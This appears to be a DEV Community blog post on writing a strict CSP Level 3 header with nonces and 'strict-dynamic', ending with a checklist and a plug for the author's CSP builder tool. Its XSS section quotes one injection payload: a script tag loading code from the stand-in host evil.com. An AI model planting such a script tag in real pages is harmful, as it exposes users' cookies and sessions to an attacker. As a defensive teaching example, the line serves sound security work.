DEV Community

Nadim Chowdhury
Nadim Chowdhury

Posted on

Why your CSP header is probably broken (and how to write a strict Level 3 policy)

If you run your web app through any security audit scanner, one of the first red flags you will see is:

"Missing or weak Content Security Policy (CSP) header."

Most developers react to this by copying a random snippet from StackOverflow:

Content-Security-Policy: default-src 'self' 'unsafe-inline' 'unsafe-eval' *;
Enter fullscreen mode Exit fullscreen mode

Here is the uncomfortable truth: 'unsafe-inline' completely disables the primary protection CSP was invented for. If an attacker finds an XSS vector in your input fields, that policy won't stop them for a millisecond.

Let's look at how modern CSP Level 3 actually works, why 'strict-dynamic' changed the game, and how to configure a bulletproof policy without breaking your analytics or fonts.


1. The Real Threat: Stored and Reflected XSS

A CSP is an HTTP response header that tells the browser which scripts, styles, images, and network connections are allowed to execute.

Without a CSP:

  • An attacker injects <script src="https://evil.com/payload.js"></script>.
  • The browser happily downloads and executes it with access to your user's cookies, session storage, and DOM.

With a strict CSP:

  • The browser checks the origin or hash.
  • If it doesn't match your whitelist, execution is blocked instantly, and a report is sent to your endpoint.

2. Why Domain Whitelisting Failed

In CSP Level 2, developers used to whitelist specific domains:

script-src 'self' https://apis.google.com https://cdn.jsdelivr.net;
Enter fullscreen mode Exit fullscreen mode

The problem? CDNs host thousands of JavaScript libraries. If an attacker finds an open redirect or a vulnerable library (like an old Angular 1.x version) on that CDN, they can bypass your entire whitelist.


3. The Modern Solution: Nonces and 'strict-dynamic'

In modern CSP Level 3, the recommended approach is cryptographic nonces:

  1. Your server generates a unique, unpredictable random base64 string for every HTTP request (e.g., nonce-r4nd0m123).
  2. You pass that nonce in your CSP header:
   Content-Security-Policy: script-src 'nonce-r4nd0m123' 'strict-dynamic' https: 'unsafe-inline'; object-src 'none'; base-uri 'none';
Enter fullscreen mode Exit fullscreen mode
  1. You attach nonce="r4nd0m123" to your legitimate <script> tags.

When the browser sees 'strict-dynamic', it allows any script that has the correct nonce to load other downstream dependencies automatically. Any injected inline script without the secret nonce is immediately blocked!


4. How to Generate Clean Configs for Your Server

Writing raw CSP strings by hand is error-prone. One misplaced semicolon can invalidate your entire header.

To make this frictionless, I built an interactive Content Security Policy (CSP) Level 3 Builder into Omnikite.

It lets you visually toggle directives:

  • default-src, script-src, style-src, connect-src, frame-ancestors
  • Automatic presets for Next.js App Router, Google Analytics / Tag Manager, Stripe Checkout, and Cloudflare Turnstile
  • One-click export for Nginx (nginx.conf), Apache (.htaccess), Vercel (vercel.json), and Next.js Middleware.

Everything runs directly in your browser without sending your server architecture to any third party:
πŸ‘‰ Open CSP Level 3 Generator on Omnikite


Summary Checklist for a Production-Ready CSP:

  • [ ] Disable plugins: object-src 'none'
  • [ ] Prevent base-tag hijacking: base-uri 'none'
  • [ ] Prevent clickjacking: frame-ancestors 'none' (or 'self' if embedding in iframes)
  • [ ] Upgrade insecure assets automatically: upgrade-insecure-requests
  • [ ] Use nonces with 'strict-dynamic' for script execution

What does your current CSP look like? Drop your configuration or edge cases in the comments below!

Top comments (0)